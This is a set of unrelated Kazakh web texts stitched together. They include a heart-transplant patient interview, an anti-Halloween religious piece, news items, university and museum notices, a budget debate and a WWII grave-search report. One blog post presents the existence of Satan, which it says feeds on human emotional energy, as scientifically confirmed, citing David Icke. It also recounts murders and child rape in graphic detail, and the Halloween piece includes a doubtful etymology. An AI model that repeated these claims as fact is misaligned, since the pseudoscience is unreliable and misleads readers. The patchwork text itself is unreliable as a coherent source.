CARMAT – жасанды жүрек. Салмағы бір келіге жуық биопротез. Едәуір бөлігі қара сөмкеге салынып, мойынға ілініп тұрады. Онда жасанды органға қуат беретін батареялар және батареяның пайызын, жұмыс уақытын, қысымын және басқа параметрлерді көрсететін құрылғы бар. Мұндай жасанды жүректің шығарылуы мен қолданылуын заманауи әлемдік медицинадағы үлкен жетістік деп санауға болады. Биопротез қымбат тұрады, бірақ қазақстандықтарға халықаралық клиникалық зерттеу шеңберінде құрылғылар тегін ұсынылды. Отандық атақты кардиохирург Юрий Пя бастаған 20-ға жуық қазақстандық және еуропалық дәрігерлер бірлесе жасаған операция 10 сағатқа созылыпты. Кейін дәрігерлер менің екі күн бойы кеудем ашылған күйі наркозбен екі тәулік жатқанымды айтты. Өйткені мамандар осылайша жаңа жасанды жүректің дұрыс жұмыс істеп тұрғанына, қан кетіп жатпағанына көз жеткізуі тиіс еді.
Жасанды жүректі қайта пайдалану мүмкін емес, өйткені қондырғыда оның иесінің биологиялық тіндері бар. Құрылғы жұмыс істегенде жағымсыз дыбыс шығады. Иттердің үргеніне ұқсатамын. Ондай дыбыс шығып тұрғанда ұйықтауға дағдыланбадым. Шомылған кезде де қорқынышты еді. Ал қалғаны жақсы. Денем жаңа «жүректі» бірден қабылдады. Денсаулығым жақсара бастады. Шаршаңқылық басылып, бойымда күш-қуат пайда болды. Тіпті шаш пен тырнақ тез өсіп, бетімдегі әжімдер де кете бастады. Жасанды жүрекпен ауруханада жатып спортпен шұғылдана бастадым. Дәрігерлер мені бірнеше айдан кейін үйге жіберуге келісті. Жолға жинала бастағанда кенеттен донор табылып қалды.
- Екінші операция жайында айтып берсеңіз? Қазір жүрегіңіз қалай, мазаламай ма?
- 2018 жылдың 3 тамызында жүрек трансплантациясы жасалды. Ол да сәтті өтті. 3 аптадан кейін Петропавлға оралдым. Жүрек трансплантациясынан кейінгі алғашқы 12 ай ең жауапты мерзім. Денсаулыққа өте мұқият қарау керек. Өйткені адам денесі бөтен ағзаны қабылдағысы келмейді. Сондықтан имунитетті төмендететін дәрі-дәрмек қабылдау керек. Басында күніне 15 таблетка қабылдадым. Қазір 7-8. Мен мезгіл-мезгіл астанаға жоспарлы емделуге барамын. Барлық қажетті сараптама материалдарын тапсырамын. Қазір барлығы қалыпты. Себебі күтінемін. Бастапқыда басқа адамның жүрегі екені сезілетін. Кейде соғысы жиілеп кететін. Қазір ондай шағым жоқ. Өзім жақсы көретін спортпен шұғылданып жүрмін. |
Қазан айының соңында Хеллоуин дейтін ұсқынсыз бір мерекесымақтың болатынын айтып кейбір жұрттар шулап жатады. Ол қайдан шықты дерсіз? Мұсылмандарға тән мерекесі емес екендігі анық нәрсе. Онда христиандардан шыққан болар? Жоқ, олай емес екен. Христиандардың өзі бұл мерекені естігенде төбе шаштары тік тұратын көрінеді. Керек десеңіз, бұл күнді «азап күні» деп санайды екен олар. Бұл жайында Солтүстік Американың ислам қоғамының бұрынғы президенті, доктор Музаммил Сыддық былай дейді:
«Бұл мейрам кельттердің (индоевропалық тек) рухтарды шақыратын ырымдарының бірі. Кейіннен христиан шіркеулері бұны «Барлық қасиетті нәрселердің күні» (бұл күні батыстық шіркеулерде өлілерді еске алу күні) деп атап, өзгерткісі келді. Бір анығы, көптеген христиандар осы уақытқа дейін бұл нәрсеге түбегейлі қарсы шығып, тойламаған. Оны тіпті, heilday (азап күні) деп атаған».
«Христиандар бұл мейрамды қабылдасын-қабылдамасын, біз мұсылмандар бұны қабылдай алмаймыз. Үлкен көлемдегі асқабақтарды бекерге ысырап қылып, үйді «жын» секілді безендіріп қою ақылға қонбайтын нәрсе. Ақыл тоқтатқан кісілердің сайқымазақ секілді жүретіндеріне таңым бар. Соңғы кездері бұл қорқынышты болып бара жатыр. Адамдар кәдімгідей түрлі құбыжық күйге еніп, жан-тәнімен берілетінді шығарды. Мұсылмандар бұлардың қатарында болмауы керек».
Бастысы бұл батыстың мерекесі. Әр жылды қазан айының 31 күні кешке басталады. Қарап тұрсаң, бұл әрекеттер друидтердің (кельт халықтары) жаңа жылын еске түсіреді. Себебі, олар сол кезде өлгендер үйлерді аралайды деп сенеді-мыс. Бұл кез асқабақтардың пісетін мезгілі. Хеллоуиннің кесірінен сол асқабақтар әр үйдің қазанынан емес, әр елдің қоқыс жәшігінен табылады. Неге десеңіз, бүтін асқабақты ойып, ішіне шам жағып қояды. Хеллоуиннің басты белгісі де осы.
Хеллоуин – адасудың бір белгісі. Көпқұдайшылықты насихаттайды. Мұсылмандарға бұл мерекені тойлауға болмайды. Жалпы, есі дұрыс адамның бұл мерекені ұната қоюы екіталай. Бір қынжылтатыны, әлі онша таныла қоймаған осы мейрамды адамдар көп жиналатын ойын-сауық, сауда орталықтарында, т.б. орындарда шолақ белсенділер насихаттап жатады. Еріккен кейбір жастарымыздың бұған есі кетіп, хэллоуиннің жанқияр қолдаушысына айналуы ғажап емес.
Хеллоуин деген жат мерекені жақындатып абырой таппаймыз! Жын-ойнаққа жақын бұл мейрамға үлес қосып қадірімізді кетірмейік! |
Қазақстан Республикасының Президенті Қасым-Жомарт Кемелұлының Жарлығымен 2020 жылдың 16 наурызынан бастап елімізде төтенше жағдай режимі енгізілген болатын. Бүкіл әлемді шарпыған індет қазақ елін де айналып өтпеді. «Мың өліп, мың тірілген» — халқымыз бұдан да ауыр нәубетті бастан кешіргені тарихтан белгілі. «Бір жағадан бас, бір жеңнен қол шығарған», — халқымыз бұл індетті де жұмыла жеңеді деп білеміз.
Мемлекетімізде індетті алдын-алу мақсатында жасалып жатқан іс-шаралар өз жемісін беруде. Халыққа әлеуметтік қолдау көрсету, қайырымдылық пакет акциялары сынды жобалар кеңінен жүзеге асуда. Еліміз індетпен күресу тұрғысында бүкіл әлемдік қауымдастық алдында өзінің оң бағасын алып та үлгерді. Бұл ел Президентінің салиқалы да сарабдал саясатының арқасында еліміздің бүгінгі таңда қол жеткізіп отырған жетістігінің көрінісі.
Қазақстан Республикасының Тұңғыш Президенті – Елбасы Н.Ә.Назарбаевтың бастамасымен құрылған «Біргеміз» қорынан қомақты қаржы бөлінді. Осы бағытта «Нұр Отан» партиясы да белсенді жұмыс атқаруда.
Төтенше жағдай кезінде қорық-музей ұжымы да жұртшылыққа онлайн дәрістер, видеоэкскурсиялар, танымдық сұхбаттар, тағы басқа да іс-шараларды ұсынып, бұқара халықпен онлайн байланысты тиімді атқару бағытында жан аянбай еңбек етуде. Бұл игілікті іс одан әрі де жалғасатын болады.
Мәдениет және спорт министрлігі «Әзірет Сұлтан» мемлекеттік тарихи-мәдени қорық-музейі Қазақстан Республикасының Президенті Қ.Тоқаевтың 2020 жылдың 11-ші мамырына дейін төтенше жағдайды ұзартуға байланысты жолдаған үндеуін бірауыздан қолдайды. Бұл шара індеттің кең етек жаюына жол бермей, адамдардың аурудан аман қалуына себебін тигізері сөзсіз. |
Resource -> 4. ƏЛемдік мұхит төсенішінің ЖƏне оның континенттік жағалауларының ҚҰрылымдық элементтері
Resource -> 7. жер дамуының басты сатылары жердің геотектоникалық дамуының криптозойлық (докембрийлік) сатылары
Resource -> Контрольные вопросы Что называется первообразной для функции на промежутке ?
Resource -> Тақырыбы: Әлеуметтік – демографиялық құрылым әлеуметтік стратификацияның бөлігі ретінде. Мақсаты
Resource -> Тақырыбы: Қазақстан қоғамының әлеуметтік құрылымы мен әлеуметтік стратификациясы әлеуметтік өзгерістер аясында
Resource -> Тақырыбы: Тұлғаның әлеуметтанулық сипаттамалары. Тұлға мен қоғам арақатынасы мәселелері. Мақсаты |
Іздеу жүргізілген соң, табылған мәтінге қатысты ескерткіштің аты, мәтіннің сол сөз табылған жолы шығады. Егер ескерткіш атын бассаңыз, сол ескеткіш туралы толық мағлұмат аласыз. Іздеу бетіне қайтып келу үшін терезенің ең жоғарғы немесе ең төменгі сол бұрышында тұрған белгілерді пайдаланыңыз.
Электронды тарихи-мәдени қордың негізі "Мәдени мұра" мемлекеттік бағдарламасының "Шығыстану секциясы" Р.Б.Сүлейменов атындағы Шығыстану институты тарапынан 2005 жарияланған "Қазақстан тарихы туралы түркі деректемелері" сериясының 2-томы "Н.Базылхан "Көне түрік бітіктастары мен ескерткіштері (Орхон, Ениесей, Талас)" Алматы: Дайк-Пресс. 2005, 252 б. +144 бет жапсырма" атты ғылыми еңбек болды. Ғылыми редакторлары: т.ғ.д., проф. М.Қ.Әбусейтова,
ф.ғ.д., проф.Б.Бұхатұлы.
Р.Б.Сүлейменов атындағы Шығыстану институтының директоры т.ғ.д., проф. Меруерт Қуатқызы Әбусейтоваға көрсеткен көмегі үшін алғыс білдіреміз.
Ескерткіш Үйреткіш Этномәдени сөздік Жәй сөздік Деректер Іздеу Көмек Контакт
қаз рус eng
© Абай атындағы Қазақ Ұлттық педагогикалық университет.
Қазақстан Республикасы Мәдениет және ақпарат министрлігінің Тіл комитеті тапсырысы бойынша жүргізілген
"Жазба және этноархеологиялық деректемелер бойынша қазақ тілінің тарихи-мәдени ақпарат көздерін жасау" жұмысы шеңберінде жасалған. |
Аптап ыстық апта аяғына дейін жалғасуы мүмкін. Қазір жиырмаға жуық елді мекенде қауіптің «қызыл» деңгейі жарияланған.
Шілденің шіліңгір ыстығы Испания тұрғындары мен туристерін әбігерге салды. Таңнан бері теңіз жағалауында тіпті орын жоқ, су маңында сая іздеушілердің қарасы қалың. «Күннің қатты ысуына Солтүстік Африкадан ауған ағын әсер етті», – дейді метеорологтар. «Үп» еткен желі жоқ дәл мұндай қапырық қырық жылдан бері болмаған.
Аптап ыстықтан тұрғындардың көбі үйіне тығылуға мәжбүр. Алайда төрт айдан бері Испанияда электр энергиясына төленетін тариф бірнеше есеге өсіп кетті.
Хуан, Барселона қаласының тұрғыны:
- Күннен тығылып, үйде отыру қалтаңды қағады. Өйткені ыстық үйде үнемі желдеткішті қосуға мәжбүр боласың. Ал қуат көздеріне төленетін тарифтің бағасы қатты шарықтап тұр.
Метеорологтар Испаниядағы аптап ыстық апта аяғына дейін жалғасатын айтады. Испанияның жиырмаға жуық елді мекенінде күн райының қолайсыздығына байланысты қауіптің «қызыл» деңгейі жарияланды. Түнде сынап бағаны отыз градус ыстықтан төмен түспейді. Испанияның Денсаулық сақтау министрлігі мұндай қапырық күндері тұрғындарды спортпен шұғылданбай, суды көп ішуге кеңес береді. Өйткені бір аптаның ішінде басынан күн өткен мыңдаған адам дәрігер көмегіне жүгінген. |
Университетке үміткер талапкерлерді жүйелі түрде оқуға тартуға бағытталған кәсіби бағдар беру жұмыстарын ұйымдастыру. Жүргізілетін барлық жұмыстарды уақытылы және сапалы орындалуын орталықтандыру. Білім алушылардың контингентін арттыру. Университет білім алушыларымен жүйелі түрде жұмыс жасап, жұмыспен қамту қызметін ұйымдастыру. Жүргізілетін барлық жұмыстарды уақытылы және сапалы орындалуын орталықтандыру. Жұмысқа орналасқан бітіруші түлектердің санын арттыру.
Қызметі:
- Қызылорда, Байқоңыр қаласы және облыс аудандары бойынша мектептері мен колледждері түлектерінің бірыңғай мәліметтер базасын құру және жаңарту;
- Ата-аналар мен ізденуші талапкерлерге университет туралы ақпарат беру және олардың оқу орнына деген қызығушылығын анықтау;
- Қызылорда, Байқоңыр қаласы және облыс аудандары бойынша мектептер, колледждер және өндіріс орындары мен мемлекеттік мекемелерге кәсіби бағдар беру үшін іс-сапарларды ұйымдастыру;
- Шымкент қаласы, Түркістан және Ақтөбе облыстарымен байланыс орнатып, сапарларға шығуды ұйымдастыру;
- «Отандастар» қоры арқылы алыс-жақын шетелдермен (Өзбекстан, Қырғыстан, Түркіменстан, Тәжікстан, Моңғолия, Иран және Қытай Халық Республикасы) байланыс орнатып, сапарларға шығуды ұйымдастыру;
- Замануи технологиялардың мүмкіндігін тиімді пайдалана отырып талапкерлерге арналған жарнамалық өнімдерді әзірлеу және ақпарат орналастыру бойынша медиа жарнама агенттіктерімен жұмыс жасау.
- Жұмыс берушілер кеңесінің құрамымен тығыз байланыс орнатып, жұмыс жасау;
- HR қызметкерлерінің байланыстары бар жұмыс берушілердің деректер қорын құру;
- Облыстық әлеуметтік қорғау және жұмыспен қамту басқармасымен тығыз байланыс орнатып, жұмыс жасау;
- Университет БББ бойынша еңбек нарығындағы сұранысқа мониторинг жүргізу;
- Түлектерді жұмыспен қамтуға қатысты атқарылған іс-шараларды университет сайтында, БАҚ және әлеуметтік желілерде ақпараттандыру жұмыстарын жүргізу;
- Мемлекеттік білім беру тапсырысы және ауыл квотасы негізінде БББ бойынша білім алған түлектерге 3 жыл жұмыспен өтеу міндеті туралы ақпараттық –түсіндірме жұмыстарын жүргізу;
- 2022-2023 оқу жылында мемлекеттік білім беру тапсырысы және ауыл квотасы негізінде оқуын бітіретін студенттердің мәліметтерін «Қаржы орталығы» АҚ «Жас мамандарды есепке алу» жүйесіне енгізу; |
Инфляцияға атүсті қарау, төмен жалақы, кіріс пен шығыстың сәйкес келмеуі, экономиканың нақты секторына бөлінетін инвестиция көлемінің төмендеуі және МӘМС жүйесінің сәтсіздігі. Қазақстан Халық партиясы Үкімет ұсынған бюджет жобасын сынға алды.
Мәжілістің жалпы отырысында сөйлеген сөзінде ҚХП фракциясының басшысы Айқын Қоңыров жаңа бюджет Мемлекет басшысының Қазақстан халқына Жолдауының барлық әлеуметтік міндеттемелері мен нұсқауларының орындалуын ескеруі тиіс екенін атап өтті.
Мәжілісмен шенеуніктердің инфляцияны болжауға жеңіл қарайтынын мәлімдеді.
«Тұтыну бағасының, әсіресе азық-түлік бағасының өсуі бюджеттің әлеуметтік құрамдас бөлігін құнсыздандыратын негізгі көрсеткішке айналды. Іс жүзінде жеделдетілген инфляция бюджеттік төлемдерді халықтан импорттық тауарлар мен қызметтерді жеткізушілерге қайта бағыттауға алып келеді», – деді Қоңыров.
Бюджеттің көптеген мәселелері бұрыннан қалыптасты. Олардың ішінде есептеулерде қолданылатын төмен базалық көрсеткіштер бар.
«Ең төменгі жалақының, ең төменгі күнкөріс деңгейінің және ең төменгі зейнетақының қазіргі мөлшеріне іс жүзінде өмір сүру мүмкін емес. Инфляцияны ескере отырып, олар кем дегенде екі есе артуы керек деп санаймыз»,– деді ҚХП депутаты.
Болжам жасағанда Үкімет дәстүрлі түрде кірісті асыра бағалайды және шығынды төмендетеді, бұл кейіннен бюджет тапшылығына және қарыз алу көлемінің өсуіне әкеледі. Бюджет күні бүгінге дейін Ұлттық қорға тәуелді.
«Болашақ ұрпақтың жинақтары дамуға емес, қазіргі іс-шараларға жұмсалады. Бірақ Ұлттық қор түбі жоқ бөшке емес! Мұнайдың рекордтық кірісіне қарамастан, оның жинақталуы ЖІӨ-нің 30% мөлшеріндегі төмендемейтін қалдық деңгейіне жақындады», – деп түсіндірді А.Қоңыров.
Осыған қарамастан, Үкімет шикізаттық емес кірісті арттыру және нақты секторды дамыту туралы ойламайды, керісінше маңызды салалар мен инфрақұрылымды қаржыландырудан ақша үнемдеуге тырысады.
ҚХП фракциясының байламынша, шенеуніктердің тағы бір сәтсіздігі – МӘМС жүйесі. Мемлекет медицинаның негізгі шығындарын төлеуді жалғастыруда, бұл ретте 3 миллион қазақстандық медициналық көмекке қол жеткізе алмай отыр.
«МӘМС жүйесі сәтсіздікке ұшырағанын мойындау қажет. Қатемен жұмыс істеу керек және толығымен мемлекеттік тегін медицинаға оралу керек», – деп атап өтті мәжілісмен.
Қазақстан Халықтық партиясының фракциясы Үкіметті шикізат бағасы мен қолайлы макроэкономикалық жағдайды пайдалануға және өнеркәсіпті жаңғыртудың, транзит пен экспорт жолдарын әртараптандырудың сонымен қатар экономикалық өсудің жаңа моделін қалыптастырудың негізгі бағыттарын айқындауға шақырды. |
Адамдардың көбі еркінен тыс өзіне де, өзгелерге де залал келтіретін теріс әрекеттер жасап жатады. Ондайға етіміз өліп кеткені сонша, ақылға сыйымсыз мұндай әрекетті ол не үшін жасады деп те ойланбаймыз. Мұндай әрекеттердің астарында сайтанның азғыруы жататынын білгіміз келмейтіні өкінішті.
Сайтан бар және оны бүгінгі ғылым да жанама түрде растайды
Қасиетті Құранда, Інжілде аса алдаушы деп аталған адамдарды жамандыққа азғыратын тіршілк иесінің барлығы анық жазылған. Десе де, материалистік ғылым ұзақ жылдар бойы сайтан деген адамдардың ойдан шығарылған нәрсесі деп санап келді. Бірақ, уақыт өткен сайын ғылым дәлелдей алмайтын адамдарыд еріксіз есуастыққа итермелейтін күштің барлығын дәлелдейтін оқиғалар жер-жерде көбейе түсті.
Сонау 90-шы жылдардың ортасында «Жас алаш» газетіне бір мақала жарияланған еді. Онда арақ ішіп алып кешкілік үйіне келген орта жастағы азамат асүйде тамақ ішкелі отырған кезінде пышақпен өзінің еркектік мүшесін кесіп алғаны, ауруханаға дер кезінде жеткізудің арқасында аман қалғаны жазылған. Мұндай есуастыққа не үшін барғандығын сұрағанда әлгінің жауабы былай болады: столға отыра бергенімде асүйге қара маска киген жалақтаған үш жігіт кіріп келді. Олар маған өз денеңді ауыртатын әрекет жасамасаң, азаптап өлтіреміз деді. Қолдарында жалаңдаған пышақтары бар үшеуден қорыққанымнан өз мүшемді кесуге мәжбүр болдым».
Енді АҚШ-та бір күнде бес адамды атып өлтірген таксистің уәжіне құлақ түріңіз: «Таксиге орнатылған диспечермен байланыстыратын компьютердің моиторында түрі қорқынышты құбыжық пайда болды. Ол маған зәрлі үнмен дереу қаруланып, көшеде кетіп бара жатқан жолаушыға оқ атуымды бұйырды. Оның даусы гипноздап алғандай еріксіз айтқанын істедім». Осылайша, өмірі тышқан мұрнын қанатпаған таксист бір күнде көзіне түскен танымайтын бес адамды атып өлтіреді.
Ресейде әйелін, алты жастағы қызы мен екіге толмаған ұлын өлтірген, өмір бойы бас бостандығынан айрылған еркектің айтқанын тыңдап көріңіз: «Кешкілік жұмыстан шаршаңқырап келдім. Жұмыстан соң жігіттермен аздап сыра ішкен едім. Ақыл-есім түзу. Әйелім айқайлап әлденелер айтып жатты. Содан кейін кішкентай бала жылады. Әрі қарай не болғаны шала-шарпы есімде». Ол сол кеште әйелін бірнеше жерден пышақ салып өлтіріп, алты жастағы қызын зорлайды және содан кейін буындырып өлтіреді. Ал екі жастағы ұлын басынан балғамен ұрып мылжалап өлтірген. Әлгі бейбақ не үшін солай жасағанын өзі де білмейтінін айтады.
Сайтанға адамның қуаты керек
Сайтан деген біздің көзімізге көрінбейтін нәзік тәнді тіршілік иесі. Адамда да нәзік тән болады, ол ет пен терінің арасында орналасқан және өлген кезде адамның ақыл-санасы сақталған нәзік тән денеден шығады. Кейбір жағдайларда тірі кезінде де адам нәзік тәнімен денесінен шығып кететін жайлары болады.
Адам тәні сегіз түрлі элементтен: жер, ауа, су, от және эфир түріндегі бес дөрекі элементтен және ақыл, зерде, жалған эго түріндегі үш нәзік элементтен тұрады дейді қасиетті кітапта. Сайтанның тәні тек үш элементтен, яғни ақыл, зерде және жалған эгодан ғана тұрады. Оның бойында дөрекі элементтер болмағандықтан, ол өз бетінше қуат ала алмайды.
Адам үшін тамақ қандай қажет болса, сайтанға қуат та сондай өмірлік қажеттілік. Адам тамақ арқылы қуат өндіреді, сөйтіп, оны пайдаланады. Ал дөрекі тәні жоқ сайтан қуат өндіре алмайды. Сондықтан, ол қуатты дөрекі тәні бар адамнан және жан-жануарлардан алады.
Сайтан қуатты қалай алады?
Сайтанға қажетті өмірлік нәр: төменгі деңгейдегі лас қуаттар. Ол: ашу-ыза, реніш, қызғаныш, нәпсіқұмарлық, дөрекілік, тәкаппарлық, мақтаншақтық сияқты сезімдер арқылы берілетін лас эмоциялар. Сайтан сондай лас эмоциялық қуатпен қоректенетіндіктен, адамды азғырып, үнемі жаман істерге итермелеп отырады. Жаман әрекет жасаған адамның сол әрекетінің салдары да жаман болады, яғни лас эмоциялық қуатты бойынан бөліп шығарады. Адамның бойынан бөлінген сондай лас қуатты сайтан сиясорғыш сияқты бойына сіңіріп алады.
Бұл жайында американдық эзотерик Дэвид Айк өзінің ютубте жарияланған сериалдық видеолекцияларында жан-жақты түсіндіреді. Шындығында, бұл ойдан шығарылған ертегі емес, жоғарыда айтып кеткеніміздей, адамдарды есуастық әрекеттерге еріксіз итермелейтін тәршілік иелерінің барлығы бүгінде адамдарға, тіпті ғылымға да құпия болудан қалған.
Құрметті оқырман, сайтанның адамды қалай азғырып, теріс әрекеттерге итермелейтіні, олардың ықпалынан қалай құтылуға болатыны жайындағы сериалдық мақалаларды блогымыздан алдағы уақытта оқитын боласыз. Ол үшін блогымыздағы жаңалықтарды әрдайым қарап, оқып жүріңіз. |
Ол өз әулетінің алдындағы борышын өтеді: ардагер атасының бейітін іздеп тауып, дұғасын оқыды. Көп жылдың еншісіндегі істің соңына нүкте қойылды.
- Нүкте дейсіз бе? Ол не дегеніңіз, бұл тек істің басы ғана.
Әділғали БаймырзаӘділғали БАЙМЫРЗА өзін енді басқа да жүздеген ақсақалдардың, яғни, өз туысқанын іздестіру кезінде біздің облысымыздан соғысқа аттанып, өзге елдің топырағы бұйырған қазақ жауынгерлерінің алдында борыштымын деп есептейді.
ЕР ЕСIМI - ЕЛ ЕСIНДЕ
Жақында ғана ол Украинадан қайтып оралды. Ондағы бауырластар зиратындағы ескерткіш тақтаға тағы да төрт адамның есімі жазылған мұсылмандардың айшық белгісі салынған шағын мәрмәр тақта қосылған екен. Сондай-ақ, тақтаға түсініксіз украин тілінде: «Ер есімі - ел есінде» деп жазылған. Дәл сол күні Большая Бабка селосында бірінші рет Қазақстанның ән ұраны қалықтап, аспанға оқ атылды. «Із-түссіз жоғалғандардың» онының ішінен біздің төрт жерлесіміз өз есімдеріне ие болды: 1942 жылы мамырда Харьков түбінде қиян-кескі шайқаста қаза болған 202 атқыштар полкінің 81-ші атқыштар дивизиясының жауынгерлері Бекенқожа АЙДАРҒОЖИЕВ, Өтеш ҚАРАБАСОВ, Қойшан ТОҚАБАСОВ, Қабды АХМЕТОВ.
- Біз құжаттарға қатысты мәселелерді ұзақ реттедік, ақыры мамыр айының аяғында Чугуевский әскери комиссариатына ұзақ уақыт хат жазысудың барысында мәңгі есте қалдыру туралы істі шештік. Бізге өзіміздің облыстық, қалалық әскери комиссариаттар қолдау танытты. Украиндықтар мемориалдық тақтаны орнатуға ақша жоқ екендігін түсіндіріп, кешірім сұрады, бірақ, әзірге келіп, жәй ғана тағзым етуге болатындығын айтты. Сол уақыт шамасында Большая Бабкада жерленгендердің тізімі сіздің газеттеріңізге жарияланғаннан кейін тізімдегі үш жауынгердің туысқандары хабарласты. Біз өзара кеңесіп, өз аталарымыздың есімі жазылған тақтаны өзіміз орнататын болып шештік. Жауынгерлердің есімін орыс тілінде жазу тиіс болғанымен, бізге өз ана тілімізде жазуға рұқсат берді.
Жалпы біз украиндықтарға жауынгерлердің зиратын ұқыпты ұстап отырғандары мен іздестіру жұмыстарын тоқтатпай, бізге түсіністікпен қарағандарына өте ризамыз. Олар соғысты еске түсіріп, қаза болған жауынгерлерге тағзым етіп, құрмет көрсетеді. Кездесуді лайықты ұйымдастырды. Бұл жыл сайынғы селоны қорғаған жауынгерлерді еске алу күні болды, барлығы өте салтанатты, үлкен құрметпен өтті және оның барлығының шын көңілмен өтіп жатқандығы сезілді, - деп еске алады Әділғали. – Бізді Қазақстан әскери атташесінің көмекшісі майор Дамир ДАРБЕКОВ бастап жүрді. Сондай-ақ, «Бірлік» қазақстандықтар жерлестігінің жетекшісі Макка ҚАРАЖАНОВАҒА, Кеңес офицерлері одағына алғысымды білдіргім келеді.
ТАҒЫ ДА 8 ЖАУЫНГЕР АНЫҚТАЛДЫ
Украиндық іздеушілер Большая Бабка селосының ауданында ондаған, тіпті, жүздеген түрлі ұлт жауынгерлері жерленген деп жорамалдайды. 81 атқыштар дивизиясының құрамы көп ұлтты болған, олардың қатарында қазақтар, башқұрттар мен осетиндер бар... Ондағы қазақтардың көпшілігі Батыс Қазақстаннан, әскерге Гурьев, Орал, Ақтөбе облыстарынан шақырылған.
- Олар бізге бір ғана тізім емес, екі тізімді салып жіберген еді, егер естеріңізде болса, екінші тізімдегі қазақтар Харьков түбіндегі Перковка селосында жерленген болатын. Онда жерленгендердің бірінің немересі Ғазиз ҒАБДУЛЛИН және менің балам бар, бәріміз бірге Перковкаға барып, оның атасына да дұғамызды оқыдық. Тамыз айында Харьковты азат етудің 69 жылдығына орай салтанатты рәсім өткізіледі деп жоспарланып отыр. Ол және басқа да осы тізім бойынша өз туысқандарын тапқан бірнеше атыраулықтар сонда барады.
Олар үшін ештеңені рәсімдеудің қажеттілігі жоқ. Тек туысқандарын тауып, тақталарын орнату ғана. Қазір мен осы тақтаны орнату үшін қаржы көздерін іздестірумен айналысудамын.
ҒАЛАМТОР КЕҢЕС БЕРДІ
Баймырзаның да барша жұрт секілді негізгі жұмысы бар, тіпті, осы кездесудің өзіне біз барынша ұзақ уақыт жүріп қол жеткіздік. Ол кездейсоқ іздестіруші болып атанды, алайда, бұл оның өмірлік ісіне айналған секілді. Дегенмен, онымен тек жұмыстан бос уақытында ғана айналысады, ал, оның өзі көп емес қой. Сол себепті адамдардың өзіне түсіністікпен қарауын сұрайды,
- Кейбіреулері таңғажайып нәрсені күтеді, қолымнан келмей жатса, маған ренжиді. Алайда, мен де сендер секілдімін, менің қолымдағы құралдар – монитор мен тінтуір ғана. Егер өзің қатты қаласаң, ғажайыптың өзі болады. Туысқандары маған хабарласқан Қуаныш МЕҢДІБАЕВПЕН (оған арналған мақала «АЖ» - ның өткен санында, «Сталинградтан соңғы хабар») солай болды. Мен іздестіру бағанына оның мәліметтерін түрлі қателермен беріп көрдім. Өйткені, қазақ есімдері мен фамилиялар дерекқорға түрліше бұрмаланып берілген, кездейсоқ қайта басылған. «Ы» әрпінің орнына «а» әрпін салып жазғанымда, Мендабаев болып шықты (менің өзім бұлай балады деп ойлағаным жоқ!), бәрі алақанға салып бергендей жарқырап шыға келді – қай жерде қайтыс болды, қайда жерленді...
БЕЙМӘЛІМ ЖАНДАР ӘЛІ ДЕ БАР
Оған қоңырау шалады, жазады, ал оның онсыз да әлі іздейтін адамдары бар:
– Большая Бабка деген қызықты атауды село бір кездері сол жерлерде тұрған сымбатты тәуіп бір әйелдің арқасында алған көрінеді. Ол әйелге жан-жақтан сенім артып көптеген адамдар келетін болған, оны іздеген жұрт үлкен әжейге (большой бабке) барамыз деген көрінеді. Содан осылай аталып кеткен. Осынау ұлтарақтай ғана жер үшін біздің аталарымыз бен әкелеріміз, бабаларымыз қасық қаны қалғанша шайқасты – село алты рет қолдан-қолға көшкен. 1943 жылы Большая Бабка толығымен азат етілді. Мұндағы бауырластар зиратында сол кездегі қыршыннан қиылған 423 жауынгер жер жастанған, олардың ішінде түрлі ұлт өкілдері бар, олардың ішіндегі 83-нің есімдері біздің ата-бабаларымыз болып шықты, бізге әлі де анықтайтын жауынгерлер бар.
Зульфия БАЙНЕКЕЕВА
1939 жылғы жүргізілген санақ бойынша, Қазақстан халқы 6,2 млн адамды құрады. Соғыс жылдарында әскер қатарында 1 196 164 қазақстандық болды. 1916 жылғы патшалық тәжірибені қолданған сталинизм Қазақстан мен Орта Азияның байырғы халқы және Қазақ КСР-нан жұмылдырылған 700-ден аса адамнан еңбек армиясы мен арнаулы құрылыс бөлімдерін құрды. Республикада тіпті, шамамен 1,5 млн халықты орналастыру есебімен алғанда майданға және қуғын-сүргінге ұшыраған халықтардың жұмылдыру пайызы өте жоғары болды: майданға және қорғаныс өнеркәсібіне республика тұрғынының әрбір төртіншісі жіберіліп отырды.
27 маусым 2012, 21:44
WhatsApp арқылы хабар жіберу
Бөлісу:
Қате таптыңыз ба? Тінтуірмен белгілеп, Ctrl + Enter түймесін басыңыз.
Осы мақала тақырыбына қатысты ой-пікіріңізбен бөлісіп, бейнежазба жолдағыңыз келсе, WhatsApp +7 707 37 300 37 нөміріне және editors@azh.kz поштасына жібере аласыз.
Басқа жаңалықтар
Тоқаев өңірлердегі соттардың төрағалары мен судьяларын тағайындады Бүгін, 10:51 27 просмотра
Беларусь билігі мемлекетке опасыздық жасағандар үшін өлім жазасын енгізбек Кеше, 19:02 281 просмотра
Атыраулық таеквондошылар әлем чемпионатынан үш медаль жеңіп алды Кеше, 18:52 299 просмотра
Батыл балақай медальмен марапатталды Кеше, 18:09 295 просмотра
Эмиссияларды қысқарту талаптарын сақтамаған «Қазцинк» 37,5 млн теңге айыппұл төледі Кеше, 17:02 282 просмотра
Түркия жағалауында қазақстандық мұнай тиеген танкерлер кептелісі пайда болды Кеше, 16:53 301 просмотра
Тоқаев ШОБ субъектілерін тексеруге мораторийді ұзарту туралы жарлыққа қол қойды Кеше, 16:46 275 просмотра |
1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107
Алтай жазба ескерткіші.
